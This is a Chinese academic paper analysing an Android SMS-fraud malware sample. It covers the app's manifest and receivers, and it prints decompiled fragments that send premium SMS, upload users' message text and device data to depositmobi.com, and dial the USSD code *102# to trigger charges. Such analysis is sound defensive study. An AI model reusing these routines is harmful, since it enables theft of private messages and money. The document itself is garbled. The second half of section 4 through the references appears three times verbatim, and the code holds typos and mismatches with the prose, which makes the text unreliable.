手机病毒分析
2014-07-18王振华
王振华
摘要:手机病毒是一种作用于手机上的代码程序,具有传染性和破坏性。手机后台运行,伪装成第三方应用程序都是它的变现形式,修改系统的权限,进行后台操作,窃取用户的个人隐私,删除修改用户的信息、资料甚至破坏手机硬件。对于手机病毒的深入分析,可以更加全面的了解它的运行机制,找到防范手段,减少损失。
关键词:手机病毒;伪装;分析;接受类
中图分类号:TP393 文献标识码:A 文章编号:1009-3044(2014)13-2948-03
Analysis of Mobile Phone Virus
WANG Zhen-hua
(Hefei University ,Hefei 230000,China)
Abstract:Mobile phone virus is a program code that acts on the phone, contagious and destructive. Phone running in the background, disguised as third-party applications are realized in the form of its modified system permissions for background operation, to steal the user's personal privacy, delete modify the user's information, data or even destroy the phone hardware. For in-depth analysis of mobile phone virus can be more comprehensive understanding of its operational mechanism, to find the means to prevent and reduce losses.
Key words:mobile phone virus; camouflage; analysis; accepted class
如今,智能手机进入了高速发展的阶段,智能手机的功能越来越强大。一定程度上智能手机已经可以代替个人电脑的绝大部分功能。随着智能手机发展的同时,手机病毒也进入了大家的视线中。手机病毒是一种破坏性程序,和计算机病毒(程序)一样具有传染性、破坏性。手机病毒可利用发送短信、彩信,电子邮件,浏览网站,下载铃声,蓝牙等方式进行传播。手机病毒可能会导致用户手机死机、关机、资料被删、向外发送垃圾邮件、拨打电话等,甚至还会损毁SIM卡、芯片等硬件。据统计,受到手机病毒攻击的用户超过八成。所以,对手机病毒的研究,现在是十分有必要的。该文是对一个安卓手机病毒的分析。
1 AndroidManifest.xml分析
对apk的配置文件进行查看,通过对权限申请可以发现:
病毒申请了几个比较敏感的权限,分别是短信的收发和电话的拨打。
病毒apk一共注册了7个广播接收类(见表1):
表1 接受类表
[广播\&接收类\&说明\&android.intent.action.BOOT_COMPLETED\&Notifier\&开机\&android.net.conn.CONNECTIVITY_CHANGE\&AirplaneModeHandler\&网络状态改变\&com.android.ussd.IextendedNetworkService\&USSDNetworkService \&自定义\&android.intent.action.BOOT_COMPLETED
android.intent.action.QUICKBOOT_POWERON\&BootReceiver\&开机、速启\&com.app.android.MakeProcedure\&ProcedureMaker \&自定义\&com.app.android.MessageHandler\&MessageHandler \&自定义\&android.provider.Telephony.SMS_RECEIVED\&MessageReceiver\&收短信\&]
从广播接收类注册可以看出,监听收短信和开机广播具有很大的嫌疑,因此,从配置文件分析出,触发病毒恶意运行代码的可能方式有三种:1)用户在主界面操作;2)通过Service后台运行;3)通过广播接收触发事件,对于短信广播接收类和开机广播接收类要着重调查。
2 Action分析
由于病毒是俄罗斯的代码,对运营商归属地进行了识别,中国境内的手机无法打开,只能通过看代码来判断病毒伪装
病毒伪装的用户主界面提供了三个界面,一个是软件打开主界面、条款同意界面、下载文件界面,都是比较正常的用户操作,在其中条款界面,当用户勾选同意返回时,系统会启动Server后台运行。
3 Server分析
3.1 ActorService
当用户点击同意协议返回主界面的时候,会启动Server,Server启动时会产生一个Maker线程。线程在启动后首先进行字符串拼接:
Str2=localSharedPreferences.getString(“KEY_MESSAGE_DATA_TEXT”,””);
String str3=”38”.concat(“55”);
Str4=”81”.concat(“51”);
Str5=str3;
New String();
localHashMap1=getPositiveNums(localActor.isBeline(),localActor.isMTS_RUS());
localHashMap2=getPositiveNums(localActor.isBeline(),localActor.isMTS_RUS());
J=0;
beginSending(localSharedPrerences,localConttext,str5,str2);
通过字符串拼接出两个号码 3855、8151,从数据库的KEY_MESSAGE_DATA_TEXT读出3853(是act_schemes.cfg文件中的第五行)。而后调用一次函数beginSending
Private viod beginSending{SharePreferences paramSharedPreferences,Context paramContext,String paramString
Utils.putValue(paramContext,”GOT_MESSAGE_KEY”,false paramSharedPreferences);
Utils.putValue(paramContext,”IS_PAYED_KEY”,false paramSharedPreferences);
Utils.putValue(paramContext,”KEY_EXPECTED_NUM”,false paramSharedPreferences);
Utils.start(SmaManager.getDefault(),null,Utils.getScheme(paramString1),paramString2,
paramContext);}
函数对一些信息初始化,而后调用Utis中的函数发送短信40683 3853 到电话3855,发送的内容和电话都是上面拼接出来的,这应该是一个定制业务短信。之后线程进入一个死循环中:
While (true){ try{sleep(100l);
If(!localSharedPreferences.getBoolean(“GOT_MESSAGE_RESP_KEY”,false))continue;
String str6=str5;
If(!localSharedPreferences.getBoolean(“IS_PAYED_FLAG_KEY”,false))continue;}}
线程一直在后台循环,一直查询数据库中GOT_MESSAGE_RESP_KEY 和 IS_PAYED_FLAG_KEY两个变量的bool值,初始化时是false,直到当MessageReceiver类接收到收短信广播时,会进行改变。
Utils.start(SmsManager.getDefault(),null,Utila.getScheme(Actor.NUMBER_1),
str2.localContex);
Utils.start(SmsManager.getDefault(),null,Utila.getScheme(Actor.NUMBER_1),
str2.localContex);
而后调用两次,发送40683 3853到7151(NUMBER_1 = "7151")
3.2 GCMIntentService
这个是GCM方式推送服务,通过服务器推送触发,其恶意代码调用了ProcedureStarter.class的startProcedure函数,与开机启动广播接收类的功能相同,在4.2中会进行说明。
4 广播接收类分析
通过分析发现,在xml注册的7个广播接收类中,只有短信广播接收类MessageReceiver和开机、速启接收类 BootReceiver有嫌疑,对短信和手机电话进行了操作,明显为病毒的恶意行为
4.1 MessageReceiver短信接收类
1)MessageReceiver.class
MessageReceiver这个类的作用是响应短信接收的广播,并进行恶意信息提交。
在onReceive函数中,首先对收到的短信进行提取
if((!localSharedPreferences.getBoolean("com.app.android.MakeProcedure",false))||(!str.equals("111")))
这句判断短信是不是没有发送过,是不是由”111”发送的,如果是的话,通过正则表达式对内容进行处理,将结果储存在BALANCE_STR中,并发送com.app.android.MakeProcedure广播。
同时这个函数也调用checkExpected这个函数,对所有收到的短信进行处理endprint
StringBuilder localStringBuilder2=new StringBuilder();
localStringBuilder2.append(“http://”);
localStringBuilder2.append(“sms9”);
localStringBuilder2.append(“11”);
localStringBuilder2.append(“.ru”);
localStringBuilder1.append(arrayOfSmsMessage(j).getMassageBoy().replace
(localStringBuider2.toString()),””);
通过对拼接字符串成 http://sms911.ru 对短信内容进行处理,剔除掉http://sms911.ru 字符串后如果还包含 “http://”的话,将数据库中的GOT_MESSAGE_RESP_KEY 和 IS_PAYED_FLAG_KEY置为true,这样会会引发ActorService的线程的变化。
2) ProcedureMaker.class
接收由MessageReceiver发出的广播,其中附带短信内容,首先调用了类中的函数
可以看出这个函数的作用就是拼接一个HTTP的GET请求,附加了一些用户的个人隐私信息,请求格式为:
http://depositmobi.com/getTask.php?device _id=安卓版本&text=短信内容&mnc=运营商代码的后两位& subid=3853 (其中subid的值储存在act_schemes.cfg文本中的第5行)
而后对服务器的返回值进行了分割:
String str2=Reqistrar.getPrefixAndNumber(paramContext,str1);
registerToGCM(paraContext);
If(st2!=null){int i=str2.indexOf(‘+);if(i!=-1){str3=str2.substring(0,i);str4=str2.substring(i+1)}}
可以看出应该是””+””的形式
在对字符串又一次拼接后,通过对运营商的判断,对之前服务器返回的电话号码发送了类似“”+3853+9003的短信内容
4.2 BootReceiver开机启动接收类
1)BootReceiver.class
当接收到广播后:
Boolean bool2=TextUtils.read(3.paramContext).equeIsIgnoreCase(“999”);
Boolean bool2;if(bool1)
procedureStarter.startProcedure(paramContext,tTextUtils.getMCC(paramContext),TextUils.
getMCC(paramContext));
BootReceiver类首先是查询act_schemes.cfg文本中的第3行是否为999,而后调用startProcedure函数。
2)ProcedureStarter.class
startProcedure函数中首先判断运营商:
If(paramString1.equals(“250”))
{if (!paramString2.equals(“01”)break label43;)
Utils.sendMsg(SmsManage.getDefaut()),”111”,”11”};
Utils.putValue(paramContext,”com.app.android.MakeProcedure”,ture,paramContext.getSharedPreferences(“KEY_PERFERENCES”,0))
对运营商的代码进行判断,是否为25001,而后向111发送短信11。而后调用doUSSD函数:
Private static viod doUSSD(Context paramContext){
StringBuilder localStringBuilder=new StringBuilder();
localStringBuilder.append(“tel:”);
localStringBuilder.append(“*:”);
localStringBuilder.append(“t102”);
localStringBuilder.append(Uri.encode(“#”));
Intent localIntent =new Intent(“android.intent.action.CALL”,Uri.parse(localStringBuilder.toSting()));
localIntent.addFlags(0x10000000 / localIntent.getFags());
paramContext.starActivity(localIntent);}
在doUSSD函数中,首先拼接字符串为”tel:*102#”并打开电话拨打,*102#在网络上调查应该为USSD服务,这里有可能是开启吸费服务。
3) GCMIntentService.class
同时,这个startProcedure函数在GCM服务进行消息推送的时候也会被调用。
5 总结
该病毒采用分割字符串、读取配置文件、读取cfg文件多种方式拼接目标字符串,逃脱杀毒软件的识别。
此病毒感染手机时会屏蔽指定号码短信,上传用户短信内容和用户信息,后台发短信拨打电话,能定制某些特别的服务进行吸费操作。本次对该安卓手机病毒的分析,了解它具体的运行过程,让我们对手机病毒不再陌生,知道怎样去防治。如今手机已经是现在人类社会必不可少的工具,对于手机安全,手机的保护刻不容缓。
参考文献:
[1] 王世安.手机病毒原理及防范[J].大连轻工业学院学报,2004,23(1):74-76.
[2] 李恺,陈浩.GSM手机的病毒威胁[J].信息安全与通信保密,2005(7):226-228.endprint
StringBuilder localStringBuilder2=new StringBuilder();
localStringBuilder2.append(“http://”);
localStringBuilder2.append(“sms9”);
localStringBuilder2.append(“11”);
localStringBuilder2.append(“.ru”);
localStringBuilder1.append(arrayOfSmsMessage(j).getMassageBoy().replace
(localStringBuider2.toString()),””);
通过对拼接字符串成 http://sms911.ru 对短信内容进行处理,剔除掉http://sms911.ru 字符串后如果还包含 “http://”的话,将数据库中的GOT_MESSAGE_RESP_KEY 和 IS_PAYED_FLAG_KEY置为true,这样会会引发ActorService的线程的变化。
2) ProcedureMaker.class
接收由MessageReceiver发出的广播,其中附带短信内容,首先调用了类中的函数
可以看出这个函数的作用就是拼接一个HTTP的GET请求,附加了一些用户的个人隐私信息,请求格式为:
http://depositmobi.com/getTask.php?device _id=安卓版本&text=短信内容&mnc=运营商代码的后两位& subid=3853 (其中subid的值储存在act_schemes.cfg文本中的第5行)
而后对服务器的返回值进行了分割:
String str2=Reqistrar.getPrefixAndNumber(paramContext,str1);
registerToGCM(paraContext);
If(st2!=null){int i=str2.indexOf(‘+);if(i!=-1){str3=str2.substring(0,i);str4=str2.substring(i+1)}}
可以看出应该是””+””的形式
在对字符串又一次拼接后,通过对运营商的判断,对之前服务器返回的电话号码发送了类似“”+3853+9003的短信内容
4.2 BootReceiver开机启动接收类
1)BootReceiver.class
当接收到广播后:
Boolean bool2=TextUtils.read(3.paramContext).equeIsIgnoreCase(“999”);
Boolean bool2;if(bool1)
procedureStarter.startProcedure(paramContext,tTextUtils.getMCC(paramContext),TextUils.
getMCC(paramContext));
BootReceiver类首先是查询act_schemes.cfg文本中的第3行是否为999,而后调用startProcedure函数。
2)ProcedureStarter.class
startProcedure函数中首先判断运营商:
If(paramString1.equals(“250”))
{if (!paramString2.equals(“01”)break label43;)
Utils.sendMsg(SmsManage.getDefaut()),”111”,”11”};
Utils.putValue(paramContext,”com.app.android.MakeProcedure”,ture,paramContext.getSharedPreferences(“KEY_PERFERENCES”,0))
对运营商的代码进行判断,是否为25001,而后向111发送短信11。而后调用doUSSD函数:
Private static viod doUSSD(Context paramContext){
StringBuilder localStringBuilder=new StringBuilder();
localStringBuilder.append(“tel:”);
localStringBuilder.append(“*:”);
localStringBuilder.append(“t102”);
localStringBuilder.append(Uri.encode(“#”));
Intent localIntent =new Intent(“android.intent.action.CALL”,Uri.parse(localStringBuilder.toSting()));
localIntent.addFlags(0x10000000 / localIntent.getFags());
paramContext.starActivity(localIntent);}
在doUSSD函数中,首先拼接字符串为”tel:*102#”并打开电话拨打,*102#在网络上调查应该为USSD服务,这里有可能是开启吸费服务。
3) GCMIntentService.class
同时,这个startProcedure函数在GCM服务进行消息推送的时候也会被调用。
5 总结
该病毒采用分割字符串、读取配置文件、读取cfg文件多种方式拼接目标字符串,逃脱杀毒软件的识别。
此病毒感染手机时会屏蔽指定号码短信,上传用户短信内容和用户信息,后台发短信拨打电话,能定制某些特别的服务进行吸费操作。本次对该安卓手机病毒的分析,了解它具体的运行过程,让我们对手机病毒不再陌生,知道怎样去防治。如今手机已经是现在人类社会必不可少的工具,对于手机安全,手机的保护刻不容缓。
参考文献:
[1] 王世安.手机病毒原理及防范[J].大连轻工业学院学报,2004,23(1):74-76.
[2] 李恺,陈浩.GSM手机的病毒威胁[J].信息安全与通信保密,2005(7):226-228.endprint
StringBuilder localStringBuilder2=new StringBuilder();
localStringBuilder2.append(“http://”);
localStringBuilder2.append(“sms9”);
localStringBuilder2.append(“11”);
localStringBuilder2.append(“.ru”);
localStringBuilder1.append(arrayOfSmsMessage(j).getMassageBoy().replace
(localStringBuider2.toString()),””);
通过对拼接字符串成 http://sms911.ru 对短信内容进行处理,剔除掉http://sms911.ru 字符串后如果还包含 “http://”的话,将数据库中的GOT_MESSAGE_RESP_KEY 和 IS_PAYED_FLAG_KEY置为true,这样会会引发ActorService的线程的变化。
2) ProcedureMaker.class
接收由MessageReceiver发出的广播,其中附带短信内容,首先调用了类中的函数
可以看出这个函数的作用就是拼接一个HTTP的GET请求,附加了一些用户的个人隐私信息,请求格式为:
http://depositmobi.com/getTask.php?device _id=安卓版本&text=短信内容&mnc=运营商代码的后两位& subid=3853 (其中subid的值储存在act_schemes.cfg文本中的第5行)
而后对服务器的返回值进行了分割:
String str2=Reqistrar.getPrefixAndNumber(paramContext,str1);
registerToGCM(paraContext);
If(st2!=null){int i=str2.indexOf(‘+);if(i!=-1){str3=str2.substring(0,i);str4=str2.substring(i+1)}}
可以看出应该是””+””的形式
在对字符串又一次拼接后,通过对运营商的判断,对之前服务器返回的电话号码发送了类似“”+3853+9003的短信内容
4.2 BootReceiver开机启动接收类
1)BootReceiver.class
当接收到广播后:
Boolean bool2=TextUtils.read(3.paramContext).equeIsIgnoreCase(“999”);
Boolean bool2;if(bool1)
procedureStarter.startProcedure(paramContext,tTextUtils.getMCC(paramContext),TextUils.
getMCC(paramContext));
BootReceiver类首先是查询act_schemes.cfg文本中的第3行是否为999,而后调用startProcedure函数。
2)ProcedureStarter.class
startProcedure函数中首先判断运营商:
If(paramString1.equals(“250”))
{if (!paramString2.equals(“01”)break label43;)
Utils.sendMsg(SmsManage.getDefaut()),”111”,”11”};
Utils.putValue(paramContext,”com.app.android.MakeProcedure”,ture,paramContext.getSharedPreferences(“KEY_PERFERENCES”,0))
对运营商的代码进行判断,是否为25001,而后向111发送短信11。而后调用doUSSD函数:
Private static viod doUSSD(Context paramContext){
StringBuilder localStringBuilder=new StringBuilder();
localStringBuilder.append(“tel:”);
localStringBuilder.append(“*:”);
localStringBuilder.append(“t102”);
localStringBuilder.append(Uri.encode(“#”));
Intent localIntent =new Intent(“android.intent.action.CALL”,Uri.parse(localStringBuilder.toSting()));
localIntent.addFlags(0x10000000 / localIntent.getFags());
paramContext.starActivity(localIntent);}
在doUSSD函数中,首先拼接字符串为”tel:*102#”并打开电话拨打,*102#在网络上调查应该为USSD服务,这里有可能是开启吸费服务。
3) GCMIntentService.class
同时,这个startProcedure函数在GCM服务进行消息推送的时候也会被调用。
5 总结
该病毒采用分割字符串、读取配置文件、读取cfg文件多种方式拼接目标字符串,逃脱杀毒软件的识别。
此病毒感染手机时会屏蔽指定号码短信,上传用户短信内容和用户信息,后台发短信拨打电话,能定制某些特别的服务进行吸费操作。本次对该安卓手机病毒的分析,了解它具体的运行过程,让我们对手机病毒不再陌生,知道怎样去防治。如今手机已经是现在人类社会必不可少的工具,对于手机安全,手机的保护刻不容缓。
参考文献:
[1] 王世安.手机病毒原理及防范[J].大连轻工业学院学报,2004,23(1):74-76.
[2] 李恺,陈浩.GSM手机的病毒威胁[J].信息安全与通信保密,2005(7):226-228.endprint